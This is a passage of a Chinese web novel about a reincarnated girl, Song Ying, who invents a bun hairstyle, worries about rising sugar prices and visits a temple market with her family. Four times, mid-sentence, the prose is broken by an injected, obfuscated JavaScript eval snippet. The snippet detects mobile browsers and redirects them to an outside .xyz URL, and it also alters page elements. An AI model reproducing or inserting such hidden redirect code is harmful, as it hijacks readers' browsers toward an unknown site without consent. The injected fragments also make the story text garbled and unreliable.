李老娘不似宋老爹这样混似养过恶犬的忍人，让丈夫宽慰半日还不能开怀，在家闷闷不乐连饭都吃得少了。 宋家人见了，怕她气病都有些着急，这年月生了病那都是三分药养身七分天注定，宋莺瞧着便觉彩衣娱亲的重任还是落在了自己身上，私下便拉着家里人嘀咕道：“不就是让老太太高兴吗，多大个事儿，包在我身上了。” 六岁多的姑娘年纪还小，宋文见她这样懂事，把人抱过来在脸上亲了一口，道：“还是莺姐儿孝顺，有你在，爹行万里路也不怕家里出事的。” 宋莺擦擦脸，把看不见得口水悄悄抹她娘身上，心说，亲爹这般倚重自己，自己更要将逗李老娘开心的事儿放在心上了！ 等送走了宋文去念书，宋莺回来便缠着娘要用两块好看的帕子仿照电影里梳两个包包，想打扮成中华娘转移下李老娘注意力。 小时候她就喜欢中华娘，武打电影的春丽，包子上再飘两根丝带，暴力萝莉多可爱啊。 因着上辈子学习压力大，宋莺来了古代后是越活越小的，势必要把快乐的童年体验个彻底，于是小脸儿趴凳子上，说了一通春丽头怎么梳以后，道：“娘，你给我梳包包头，等我出门给你脸上生光。” “成天想一出是一出。”唐氏一想那模样，不就是把丫髻罩上么，道：“怪模怪样的，瞧着跟卖包子的似的，生什么光，生油光？” “生油光多好，招财，以后咱家都不用上油坊买油，等到要炒菜，从娘脸上刮二两下来，多方便。”宋莺伸手从桌子抓了个核桃糕趴在凳子上，边吃边笑。 “合着我不让你梳这个包儿，就成阻拦家里发油财的罪魁祸首了。”唐氏让闺女小短手拉得裤子都快掉了，笑骂。 母女两人斗了回嘴，把陪嫁丫头冬儿逗得已是快笑撅过去了，最后唐氏道：“要好帕子梳头，没有，不过年不过节的太浪费，让你祖母见了，保不齐就要吃一顿竹笋炒肉，你要梳，先问她去。” 宋莺便溜到李老娘房里去讨帕子了。 李老娘一生有两怕，一怕家中有贼乱花钱，二怕生女不拿绣花针。 一听孙女儿来意，李老娘头都不疼了，摸着针篓子，道：“咱家是金镶玉做的？上哪给你两张好帕子梳头？再说那么多素布怎么不用？你姑上月还缝了两块荷花帕，你捡去用呗。” 宋莺看不上，撇嘴，道：“那素布不好看，跟祖母给我做的这身好衣裳也不配。我是来讨祖母欢心的，穿得头重脚轻的，还怎么招人笑？至于我姑做的，稀狗屎似的，丢地上除了狗见着花样子急吼吼的来闻，有一个人要没有？” 确实没有。 李老娘默默在心里附和一句，深觉琴姐儿丢尽她老人家的脸，正黯然神伤，冷不防让宋莺拽走两块细布做的淡紫色兰花帕子跳着脚跑了。 李老娘愁得跟闺女琴姐儿道：“生这么个败家闺女，可怎么了得，一个头就要梳走这么大两块布。” 十来岁的姑娘最爱俏，说者无意听者有心，琴姐儿在心里寻思莺姐儿说的那个发型，也痒得很，一时也没听见娘说了什么，只嗯嗯两句，接嘴道：“娘，我是你闺女，哪有小侄女儿来讨你开心我在一边看着的道理？” 李老娘听到这就有一种不详的预感，紧张道：“哦，那你想怎么尽孝？” 琴姐儿咧嘴一笑，故作不经意，道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621393|172260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我想着，要是莺姐儿做了好看，你瞧着果然高兴，我也要两张娘的花帕子包头逗娘开心，娘，你说我孝顺不？” 李老娘险些一口气没上来，那小兔崽子也已经抓了两张帕子溜了。 不到一盏茶功夫，屋子里多了四条帕子，唐氏默默为婆婆念了了两句阿弥陀佛，接过梳子问宋莺：“你可是把你祖母气了个好歹？” “哪能，祖母乐着呢，娘没听她笑声都传咱们屋里了么？想是让我的孝心感动了。等梳完，我第一个去给祖母看，到时，她更开心了。”宋莺深深觉得，要让李老娘这样的古代中老年人去心病，就得戳一下她心窝子，让她知道为不值当的人生气就要失去真正值钱的东西。 唐氏猜到闺女的用意，心里一叹，这孩子鬼精鬼精的，也不知随了谁，唐宋两家哪里找得出一个这样的？ 不过，这包子头说着可笑，但真梳出来还真有几分可爱，衬得人圆滚滚的年画娃娃似的，加上丝带又多了几分飘逸，像琴姐儿这样花骨朵似的小少女扎了也多了两分俏丽。 三个女人看了都觉得高兴，宋莺也说话算话，梳完了还拿了块花布对折成三角形在下巴上打了个结把新发型遮住，不欲叫别人先李老娘瞧见。 因这花布是琴姐儿绣的传世之作——四季美景图，远看成狗侧成蜂，近看羊屎各不同。导致一路上遇见不少目光灼灼之人，两人很怕别人看上她们的头非要来看，就差匍匐前进了 到了李老娘跟前，两人已是气喘吁吁出了一身汗，进屋拿着茶就是一通牛饮。 李老娘在一边见着母鸡似的头，已是呆了，抖着嘴问：“这就是你们说的好看得不得了的头？” “哪能呢？昨儿不是说好了头一个给祖母看吗看吗？”宋莺丢了罩头帕子，转着圈圈问：“祖母，你看着高兴吗？不高兴我再扎两个别的。” 李老娘已是彻底明白了什么叫做虚惊一场便是最好的喜事，要是两个姐儿真以狗屎为美，真不如把她李玉婷一把掐死了。 此时再看这个略有姿色的包包头也跟天仙似的，再无一处不好。 再说李老娘素来以自己手艺为荣，买的布都是好布，绣出来的帕子在外少说也要十五文钱，彩衣娱亲的事儿还没个影，已经投出去六十多文，再不高兴还不知要何等破财。 李老娘这么一想，委实顾不得生气了，拍着手道：“高兴，这头梳得有老娘水平，以后便不要折腾其他的了，我觉着都不如这个好！” 打发走两个讨债鬼后，还不到中午，李老娘就从厨房兴师动众地叫饭叫菜，又吃了两块桂花糕，吃得饱饱的在屋子里转了一圈，逢人便道：“哎呀，不知怎么，今日胃口竟大开了。” 据洗菜的王婆子很有文化地禀：“老太太很是开怀，在家对我念个不停，说什么‘老骥伏枥，志在千里，壮士暮年，雄心不已’。想是要以此明志了。” 唐氏听了哭笑不得，指着两个丫头道：“看给老太太吓得！” 两个小的听了都在一边笑。 宋莺不想自己一时灵光乍现竟然有如此奇效，之后还向爹讨了三文零花钱，带着她闪亮的包包髻出门买糖去了。 当然，炫耀折腾出来的新东西——春丽头，只是顺便的啊。 5. 发财的美梦 这包包髻让宋莺取了个福气得不得了的名字叫做发财包。 永安县人杰地灵，寻常妇女都爱俏，平日里谁家多个花样子出来都能惹得大姑娘小媳妇一群一群地来打探。 像发财包虽说不算多好看，可因为新，一出巷子门也受到不少关注。 有闺女的大娘见了，还会凑过来问：“莺姐儿，这发财包怎么梳啊？怎叫这个名儿呢，是不是有什么说法？” 宋莺本就是故意出来显摆的，这时又有什么好说？自然笑着把梳法说出来，解释道：“我娘说这个看起来像肉包子，能日日揣两个肉包子在身上，可不是发了老财么？于是我们家就叫它发财包了。” 让她这么一说，兼之包子头确实有可爱之处，不两日在小姑娘间竟大有流行之势。 有关系亲密的姑娘，还会互相换手绢回家扎头发。 其实古代妇女手巧得令人心惊，春丽头也没啥技术含量，会梳头的人都一看即会。 只是太平盛世，人间繁华，小老百姓即使不念书也很知礼尚往来的道理，所以后边又有不少小姑娘把自己的旧帕子主动拿过来与宋家姐妹换。 这些人情往来，唐氏和李老娘都乐见其成，于是在宋莺的带动下，琴姐儿也用自己做的稀狗屎换了不少花里胡哨的帕子回来，那针线不管怎么说都比宋家两姑侄好多了。 因发财头传开的缘故，县城手帕走俏，卖手绢儿的货郎不住地往春晚巷附近跑，经常一大担子地来两手空空地走。 卖食的摊贩看货郎生意好都很羡慕，里头有个叫包大仁的还干脆跟在货郎后边吆喝自家的野菜包子，看能不能蹭蹭喜气。 巷子里越热闹故事就越多，加上宋莺在小姑娘间讨了不少人缘，这下更是没人讨论宋家退学的事儿了。 一家欢喜一家忧，宋家的小日子虽有波折，可总体也算得上平安喜乐。 而宋莺家隔壁租了一座山养柞蚕的白家，瞧着金玉为马银为土，最近却反而为了结茧的事愁得焦头烂额。 白老爷想着今年若是实在没柞蚕丝，只能去宁州城多订一些桑蚕丝，宁愿赔一些钱，也要按时交单。 只是柞蚕与桑蚕都说是蚕，其实区别很大。 江南多桑蚕，丝白润起光。北方多柞蚕，色泽偏黄但有韧性，比桑蚕丝更适合用来做罗衣。 原本宁州府身处西南，本身是桑蚕更出名，也就永安县地理位置独特才专产柞蚕做这独门生意。 这时若全换成桑蚕，成本便要增加许多。于是白老爷特意挑了个黄道吉日租了马车去宁州城见见那边的大商贩，想着把桑蚕丝的价格谈底一些，自家也能少赔一些钱，带着老婆孩子过个好年。 赔钱的事想起来就晦气，白老爷一早起来心情就不好，出门前连早饭也没吃。 像白家这样的门户，男主人打个喷嚏，全家上下都只敢提心吊胆怕被踹在身上，再没一个可心人敢凑过去劝老爷多吃两口再走的。 白老爷饿着肚子出了大门，还没上马车便看见门口许多小姑娘在换帕子、买珠子，若是平日里多半要觉着太吵，这会儿却难得一笑，心道：这才是咱们永安县的样子，瞧着就有福气。 老话说得好“出门见喜，升官发财”。 眼下兴旺之兆，正和了白老爷心意，他停住脚，也不忙上马车了，叫来随从问了两句，道：“门上怎么这么热闹？” 随从陪笑：“莺姐儿最近折腾出用帕子梳的发财包在外边玩，惹得许多小姑娘跟风一起梳，这卖帕子的货郎最近小发了一笔财，便日日一窝蜂地过来。老爷可是觉得吵？小的这就去把她们带走。” 白家和宋家虽是近邻，可一个是买了五老爷五进祖宅的大富之家，一个是二进小门。财富差别如此巨大，加上白家才搬来没几年，子弟也都在州府念书，除了逢年过节，两家甚少碰面便也谈不上什么交情。 但白老爷是认得宋莺的，小丫头长得格外水灵，即使在州府也没多少比她好看的。依他看，宋家人就一个宋律和宋老爹长得尤为出众，宋莺并不像宋氏血脉，反而更像唐氏娘家人，个顶个漂亮，眼睛也都英气得不得了，没事儿就滴溜溜地转，狐狸似的机灵聪慧。 白老爷喜欢长得好看又聪明的小孩儿，知道是她弄出来的发财包，心里觉得承了宋莺的喜情，便叫住卖包子的摊贩，买了一打山蘑猪肉馅儿的肉包子，一打野菜核桃馅儿的菜包子包好给莺姐儿，想讨个口彩，乐呵呵道：“莺姐儿，你说，老爹这次出去能赚钱么？” 宋莺是谁，两世为人老鸟也，眼都不带眨的，狐狸讨封没见过也听过的好吗，当下拍手道：“发得银子不知道怎么花嘞！” 白老爷挺着大肚子哈哈大笑，把大大的两包包子递过去，道：“倘真发了财，回来老爹给你买好布穿。” 这话，也就听个乐子。布料金贵，姑娘家一身布裙要二三尺，即使是寻常的棉布，也要一二百文一套。如白老爷这样穿绸着玉的人，送的布那更得翻个几倍了。 宋莺和琴姐儿嘴上笑眯眯地应了，却都没当回事，甚至连包子都没收。 这下白老爷是真有点惊讶了，永安县人经常王婆卖瓜似的说自己县富贵，可在他这样出身州府的人眼里也不过是个人多点的乡下地方。 宋家家境白老爷也很清楚，七日里未必能吃得上一回鸡腿，姐儿两人整日惦记李老娘屋里那块腊肉，怎能舍得下这个滋味儿？ 宋莺毕竟不是三岁小孩，哪里能不知自家被人小瞧了去，还故意展示了一下家风，道：“白老爹，娘和祖母不点头，我不敢要，不然回家得吃竹笋炒肉了。” 其实，一两个包子也就算了，这么一堆包子，就是在现代也要打个电话跟家里长辈说一声才行，万一人家是来求着办事的呢？乱收那可是要出大事的。 别看宋老爹只是个秀才，但他从来不随便收亲戚朋友提过来的东西。 白老爷最初只是逗小宠物般逗宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621394|172260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莺，再看一边的宋琴也是看也没看包子一眼。直到这时他才真正高看了宋家人一回。 有规矩的人家，不看钱多钱少，就看人情往来和孩子品行。 世上有多少人能克制自己的欲望呢？ “是老爹想差了，那等老爹回来，再叫家里姐儿找你们来玩。” 这才是正经结交的意思。 宋莺方甜甜儿地应了下来。 白老爷伸手摸了摸两个姑娘的包包头也和蔼地笑了笑，转身自己把包子带上马车捡了两个出来细细吃了。 等白老爷走了，卖包子的小贩包大仁才溜过来掏了一个肉包子一个菜包子，笑：“也不知怎地，几日都不曾开张，今儿蹭你两个小姑娘喜气，便给两个包子吃吧，要是以后也能日日都能一次卖他二十多个包子就好喽。” 这两个包子，宋莺便敢接手了，毕竟是人家谢她的。 包子不大，又是小孩儿爱吃的口味，两人便没拿回家跟家里分。 这时节，包子皮用的并非纯白面，吃起来有点喇嗓子，但市井小吃不讲究这些，尤其里边的春野菜自带一丝甜味儿，和切碎的蘑菇丁混合一起用薄油炒过，简直又香又甜。 但今年天气冷，野菜甜味儿不仅不足，反而有些苦，宋莺一吃便知为何几日都不怎么卖得出去了，道：“包二哥，你怎么也不重新找点儿甜野菜，谁家早上花四个大子儿买苦吃啊？” 包大仁好笑道：“瞧莺姐儿你说的，难不成我不爱卖甜的？天不够暖，菜就是苦味儿重呗。” 当然，为了调和苦味，也可以用自家种的好菜，或者再往包子馅儿里放糖。但这两样，哪个都不比野菜这样无本的买卖成本低。要换成后头的，每个包子还得长一二文钱，买的人更少了。 宋莺嗦着包子里的肉味儿和微苦的汤汁，转转眼珠子，道：“找个甜的菜不成吗，我祖母说了，活人还能让尿憋死？咱们县地大物博，既然有不耐寒的甜菜那就有耐寒的甜菜。” 包大仁听了只是笑：“莺姐儿，你还小，不知道人比山林如同沙粒。咱们想找到好吃的新甜菜谈何容易。甜菜要是味道够，那可是能做糖的，要是这么好找，我还搁这儿卖面包子呐？我早回家撒金包子玩儿了。” 宋莺并没有想找那些金贵的制糖作物。 糖在古代不是和盐一样需要官营的战略物资，但也需要缴纳糖税，由此可见其中暴利。像产糖多的南方，民间除了闻名天下的盐商、布商、粮商外，其实产生了隐形的豪门大族——糖商。 民间老百姓很少会跟本地糖商争夺利益，即使家中种了甜菜、甘蔗等作物，除了自家用之外，也多半会直接卖给他们来保全自家。 不过对可以改善老百姓生活、又不能达到制糖地步微甜野菜，这些糖商还不放在眼里，毕竟没有多少利润犯不着把街坊得罪得太狠。 但这样小小的愿望，也不是包大仁这样走街串巷，连个摊位都租不起的小贩能想的。 6. 糖价 听莺姐儿念了节糖经，包大仁挑起担子道：“姐儿，家去吧，睡个好觉。” 也就不会白日发梦了。 这话说的一巷子人都笑起来，大家热闹一阵，见没有生意登门，复又吆喝着走了，只留宋莺姑侄在门上站着。 琴姐儿让小侄女说得心痒，只是身上又只有三文钱，要买那最常见的糖油果子都差一文。 一文钱的威力是巨大的。 本来宋琴也不是多想吃，但差一点点能买，就让这一分想吃就变成了吃不到会死。 最后实在无法，宋琴便自家拿着攒的鸡毛去秀姐儿家跟她换了五文钱过来，又回屋把莺姐儿荷包里的棉絮都翻出来了才捣腾出三文钱。 两人拿着钱，一起去曹婆婆家买了两串糖油果子分了。 糖果子是面做的，放在油锅里炸成一个面筋似的空心大泡球，外边裹了一层薄薄的红糖泡得表皮微软，但咬下去又是脆的。 在宁州府，这是最常见的甜嘴儿吃食。 因是卖鸡毛嫁妆得来的糖，宋琴在门上都没舍得吃，还想着回家配杯茶。 不料还没走到家门口，满腹心事的宋莺已是把糖油果子全吃完了。 那糖油果子铺子上有许多姑娘家，都是和她们一批买的，但人家手上都还有糖，就莺姐儿没有，光溜溜的。 宋琴觉得一莺姐儿像猪八戒吃人参果，一路上都在教她：“莺姐儿，你要节约。这是小姑把咱家鸡屁股都拔秃了才攒的嫁妆钱，眼下都买了糖，你还吃这么快……” 当然最重要的是后边的几句：自家的鸡屁股要养养，王婆子不让拔了。以后你去巷子里玩，多拔点别家的鸡毛回来，到时候我们一起绣七彩琉璃色披风做嫁妆。 宋莺听说她姑拔的那些灰扑扑的鸡毛是用来做嫁妆的，心里还有点感动，道：“姑，我去找甜的菜，做了好吃的给你换大鸡毛，到时候，咱们只要公鸡尾巴毛最好的一根，旁的都不要。” “咱县的鸡够做么？你野心也太大了。”宋琴觉得小孩子眼大肚皮小，根本没把侄女的话当一回事。 但回头一想，又觉得这事好玩，跟神农尝百草似的，便提议要跟着她一起玩。 能多个人一起，宋莺自然求之不得，之后还又翻烂了几个荷包寻摸了几个钱出来回请琴姐儿吃糖。 然，这事听起来好玩，找起来却慢，宋莺自己是能认得许多野菜的，但宋琴能听她个萝卜头的么，在蹿了两回后，就说什么都不肯出来了。 宋莺只能感慨：或许，这便是娘道必孤吧。 差不多的地方，除非有手艺不错的人照料，否则生长的农作物味道并不会差别太大。 宋莺在家附近略尝了几回味儿后，心里就知这附近肯定是生不出什么好东西的，便不再打巷子里的主意。 中午宋家做了一盘焦溜丸子，一盘豆腐皮火腿三鲜汤，一笼野菜粉丝蒸饺，还有宋莺给家里做的蛋羹——现在这道菜已经成了常备补品。 虽然没找着好食材，但宋莺对家中这点改变十分满意，自己还率先把丸子捣得烂烂的和着汁和鸡蛋羹拌饭，想用自己的食欲引动其他人吃蛋。 有孙女做榜样，宋家其他对蛋羹心有余悸的大人自然也不好撂筷子说不吃了。 吃完了，下午她便又溜溜达达的四处挖菜回来让王婆子做了吃。 野菜苦味重，要用开水煮过再切碎，王婆子做小菜还是拿手的，为了让东西好吃，还特意去河边买了一斤小虾，熬了虾头油和着野菜碎捏饭团，吃着也算美味。 像包大仁这些摊贩，卖了一阵子包子卖不动以后，都改了类似的咸饭团叫卖，生意逐渐也有了起色，只是永安县人春天吃不到物美价廉的甜菜包子始终不得劲。 平民小吃的消失看似微不足道，但其实对地方老百姓的影响很大。 譬如甜野菜包子，永安县人祖祖辈辈都在吃。 宋莺问过王婆子，永安县还算产糖的地界，这里上等糖霜仍然要800文一斤，像隔壁白老爷家和县太爷家吃的就是这种，据说雪白如霜，和现代的绵白糖差不多。 宋莺家吃的是三百文一斤的糖霜，色泽黄一些，但还是比蔗糖贵得多，一般他们家都用来在过年时待客。 平日里大家最常用的还是蔗糖，可这也需要四十文一斤呢，县城里的大部分人家虽然都吃得起，但永安县又不是只有县城这点人口，穷人永远是大多数。 这些贫寒人家，需要做苦力度日，每年就靠甜野菜包子哄家中妻儿高兴。对这些壮年人来说，糖分和盐分不够都是大事。 宋莺私下便与唐氏，道：“娘，想是糖价要涨，咱们家看着存一点儿吧。” 唐氏也是从小念书识字的女儿家，本来女儿就小大人似的，虽调皮了一点，但也不会说这等胡话，当下只道：“小人家家的，操心这些干什么。天塌了还有爹娘在，你在家好好认字绣花就成。” 不过背地里却也格外留心起来。存糖要花的钱是小数目，只是世间事都是相通的，物价要涨就不会只涨糖。与糖相关的柴米油盐要不要买？ 这个是个大数目，不能轻易掏钱。 很快宋莺就观察到唐氏带着她出门走动的时间多了，成婚的妇人不能随便出巷子乱逛，可在街坊家走走也不是什么大事。 母女两人逐渐注意到，街上有提桶扛包的青壮年瘦了一些，脸色也不太好看。 但外边具体如何，唐氏和宋莺便不知道了。 宋家是读书人家，李老娘夫妻虽然和善，但也不是能容忍媳妇离了巷子到处跑的人，就是真要打听什么，那也有下人。 好在在巷子里有一个与唐氏好的媳妇陈嫂子，因为家里做马泊六起家，算是下九流行当里的人，所以能经常出门，——她也是秀姐儿的娘。 陈嫂子的男人方大郎是个坐馆的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621395|172260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大夫，专治跌打损伤之类的小伤。 陈嫂子自己有一台织机，一月也能挣个三两银子，见莺姐儿在念书，她便撺掇着丈夫没事也教导着秀姐儿认字，两三年下来自己跟着看会了不少，如此与唐氏还算有话说，两人经常互相交流点育儿经。 如秀姐儿撺掇琴姐儿拔鸡毛的事，两家长辈心里都是知道的，只是觉得两个稀狗屎手若能因此发愤图强也不错，便没插手。 因为唐氏关心外边的物价，陈嫂子出门买丝线时便格外留意，这条早上，她特意提了一篮子山核桃过来串门，就与唐氏说起这事儿。 脸上还愤愤不平的，陈嫂子道：“唐妹妹，早上出去可把我气坏了。” 唐氏一听便关了门，让丫头冬儿倒了杯茶水过来，道：“嫂子别气，有话慢慢说。” 陈嫂子是个爽快人，一口吃尽了茶，用门外莺姐儿都能听见的低声话，悄悄道：“眼下不是吃不着甜菜包子么？我家那口子又爱吃这个味儿，我也不耐烦做那个菜，就只能去铺子上买正儿八经的糖包子。 可这些奸商也太过分了，昨儿还卖六文钱一个，方才我去，人家说已经涨价到七文了，我买了六个让少两文都不干，还说过两日还得涨价。我想着你说的事儿，便去街上买了两斤糖回来存打算自己做了。这回也是特意来与你说一声。” 生活上的琐事，也不值得气多长时间，在宋家又说了一阵后，陈嫂子便转身走了。 唐氏是个稳妥人，手虽不中用眼睛却尖利，送走人转来心里越想越不对，略一思索，便去了李老娘屋子里跟婆婆商议。 唐氏道：“娘，陈嫂子刚才过来说外边糖包子涨价了，咱家虽还有一斤，但相公和爹都爱吃这一口，家里孩子也多，满打满算也就能吃半个月。我想着不如干脆买点糖回来放着，免得糖价贵了家里吃不上。” 李老娘细细听她说完，一琢磨，也道：“是这话，我看今年蚕下不来了，以后城里物价还得涨，粮食还好说，咱家且有那么多地在，这酱油糖盐，你瞧着收两月的用着，免得以后多花冤枉钱。” 再说这些东西多买点也不怕，吃不了存着慢慢用就是了。 不过陈嫂子说的，也不知是否夸大其词，外边情况如何，还得自己去看一趟才知道。 唐氏一想，这回便没差王婆子去买，而是取了钥匙去库房拿了五两银子出来打算亲自去。 路过院子时，瞧见闺女还在挖野菜，唐氏便过去拉着闺女笑，道：“你不是想出去玩吗？回去洗洗手脸。等会儿娘带你们去冬街菜市逛逛。” 宋莺闻言就要扑到亲娘怀里，心里简直美得冒泡了，她在古代长这么大还从来没去过菜市场！ 唐氏爱女儿之心自不必说，只是看她脸灰扑扑的，还是先担心地拉着她的手看了看，见没有土才放心把闺女抱在怀里。 至于在一边磕瓜子儿的宋琴，已是跳着脚去叫宋律了。 7. 大慈寺的烧鹅肉 逛街对十几岁的少年少女还是很有吸引力的，毕竟年岁在这里，自己单独出门很可能会引来一些不必要的狂蜂浪蝶，像宋律和宋琴两兄妹，今年过去快要四个月了，也还没去闹市走过呢。 几个人都打算挑一点儿心仪的物什回来。 宋莺年纪还小，平时唐氏最多隔两日给她三文钱玩耍，这样一个月下来也有四十五文钱，加上宋文的补贴，那就在六十文上下了。 但宋莺害怕自己长成小矮子，每个月都是把钱用在买食上花得精光，尤其最近还请小姑吃了几次糖油果子，那荷包都被翻勾丝了也没有一文钱。 至于宋琴，饿狗守不住肉包子，就更别提了，经常都是月初就问李老娘讨借下月的零花钱，今年一月份就已经欠债到明年中旬了，这时自然连柜子都没打开。 好在宋律过了十三后还有每个月李老娘给的五百文老婆本，见两个姐儿兜比脸还干净，他心里暗笑，面上却很有长兄风范的一人给了三十文，嘱咐道：“这可是我的老婆本，省着点花知道吗？” 当然，日后都是要还他的。 宋莺和宋琴嗷一声欢快地接过来，嘴里都不住地哥哥（叔叔）长哥哥（叔叔）短地叫，等到出门，几个人荷包都鼓鼓的像小猪。 唐氏见了，一思索便知是宋律给了钱，便把自己原本打算分下去的三十文又收了起来。 宋莺还不知道自己损失了不用还的三十文钱，路上还乐呵呵地问道：“娘，东市在哪？” 唐氏摸摸她的包包头，温和地道：“在大慈寺旁边。” 宋莺这下真如打了鸡血一般。 她来了之后就发现，这个晋朝有点儿类似北宋中期的样子，和尚不仅像水浒传那样可以喝酒吃肉种田，还会分出专门的经济和尚来赚钱。 据说本地有一些妓院就是和尚开的，县城的老百姓呢，也都喜欢来大慈寺摆摊、喝茶，玩耍。 要了解一个县城底层老百姓的生活状况，这里无疑是最好的选择。 但宋莺好不容易出一趟门，除了做她娘的小跟班之外就是做一个本本分分的游客，至于物价的事儿，还是让大人操心去吧。 宋律作为最大的一个，知道小侄女儿是个没出来过的土包子，路上还免费当起导游，给她介绍城里有啥。 宋莺最感兴趣的是大慈寺的明惠和尚，宋律道：“这和尚很擅长做烧鹅，烧出来的鹅皮脆而不柴，鹅肉润而不腻。” 在这个极为推崇吃鹅肉的时代，据说甚至有宁州府的贵人远道而来就是为了吃这一口。 宋琴听得口水流了一地，宋莺也十分想去见识一番，看是不是传闻中的那么好吃。 宋律自己也给说馋了，不经意地擦擦嘴角，道：“可惜啊，或许是为了待价而沽，这明惠和尚现在已经不出手了，大慈寺附近只有几个得了他真传的小和尚开了几家鹅肉铺子，虽不如本人做得好吃，但也是永安县特产美食之一，这个咱们倒是能吃一回。” 当然对宋莺这样的天外来客而言，秃驴烤大鹅才是真正的特产！ 为了节约路费，唐氏带着几个孩子是走路过来的，宋琴个懒姐儿，走了两步就不想动了，乍然有了美食动力，好似上了发条一般，整个人健步如飞，还不停地催小短腿侄女儿走快点。 古代人没有太多娱乐活动，所以当宋莺被小姑遛狗似的拉练了一回到了大慈寺是，就见到了春运一般的火爆景象。 熙熙攘攘的摊贩，推着像叶儿粑、糖油果子、酸辣粉、热糍粑、糟猪蹄、兔羹之类的小吃，沿途叫卖，总之她鞋子都差点被挤掉。 要不是宋莺死活不肯，估计唐氏还想把女儿抱着走。 很快，这位乡下出身的母亲就熟门熟路地带着三个孩子穿过人群，到了寺后一条还不算拥挤的巷子跟前，这里也都是摊贩，但大多卖的都是孩子喜欢的玩具和吃食，人呢相对也少一些。 宋琴念着要买珠子，但还没走到珠子店，手里的吃食已经抱不动了。 宋律也挑了一两个心仪的笔筒和砚台。 唯独宋莺，闻得口水直流，还是念着要去吃鹅肉买甜菜，一文钱都不肯掏。 唐氏体谅今春家里没吃着甜野菜包子，见闺女这馋样，便好笑地带着几个小孩儿走到了一家和尚开的烧鹅店跟前，在外寻了张桌子坐下来，对来招待他们的经济和尚道：“小师父，来四个鹅肉饼子。” 等了约莫两盏茶功夫，小和尚拿了四张巴掌大的烤酥饼过来，当场切开往里加了满满的脆皮鹅肉。 那油脂一下就把面皮浸透了，闻起来异香扑鼻。 这样一张饼，要十文钱，在大慈寺附近已经算得上小贵。 可宋莺一入口就幸福得眯起了眼睛，觉得值了！ 毕竟古代养家禽技术还不到位，像猪、鸭、鹅这类肉腥味较大的动物，很多人做出来都有股子难闻的味道，如果不放重料压制，很少有人能做得好吃。 宋家因为舍不得放香料，一年也就中秋和过年做一次鹅。 而大慈寺的鹅肉，很明显用的是吊炉刷蜜的烤制法，并没有用金贵的香料就能用火候控制得鹅肉一点儿异味儿没有，入口余韵悠长…… 宋莺咬开饼子，先捡着薄薄的糖皮吃了几口，才又并着饼咬了一大口，塞得腮帮子鼓鼓的。 她舔了舔手指，道：“果然名不虚传。”再看一边还有不少小孩儿吃得感动哭了，对着鹅骨头说阿弥陀佛的。 即使如唐氏这般斯文优雅的年轻妇人，也是吃得一声不吭。 作为厨子的后代，天生也有寻觅美食的本能，吃了这么好吃的鹅肉饼子，宋莺就拉着小姑在周围看个不停，想找找还有没有旁的和尚在卖好吃的。 经济和尚有很多，可从他们能开妓院就能知道，这起子人没啥节操。 卖糖的和尚很势利眼，都不看她们，觉得孩子没钱，只有几个替人消灾解难的经济和尚想过来借着夸孩子的由头骗唐氏的钱，叫宋律黑着脸打发走了。 宋莺本来也只是看热闹，没想到拉扯之间还真看到了不同寻常的事。 大慈寺偏门口站了一群衣着迥异的和尚，生得十分高大，并不像南方人，衣裳也不怎么洁净，几乎可以说得上蓬头垢面了，嘴里还吃着一根类似菜杆的东西，逮住机会就往外推销。 可惜面相太过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621396|172260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凶神恶煞，没什么人敢买。 宋莺心中一动，有了不详的预感，她下桌溜到一个年纪小些的经济和尚身边，笑盈盈的问：“小师父，那怪模怪样的是什么人？嘴里吃的是什么，看起来怎么一副很香的样子。” 小和尚看一眼，笑道：“姐儿，你说的是我们北方来的师兄吧？别怕，他们不是夜叉，是因为家里从去年冬天一直飞鹅毛大雪遭了很大的灾，寺庙养活不起了，才让南下化缘来着，等到天暖了，他们还再回去呢。” 听到这里，就连唐氏脸色都变了一瞬，至于宋莺，冷不防掏出这么个大消息人也怔住了。 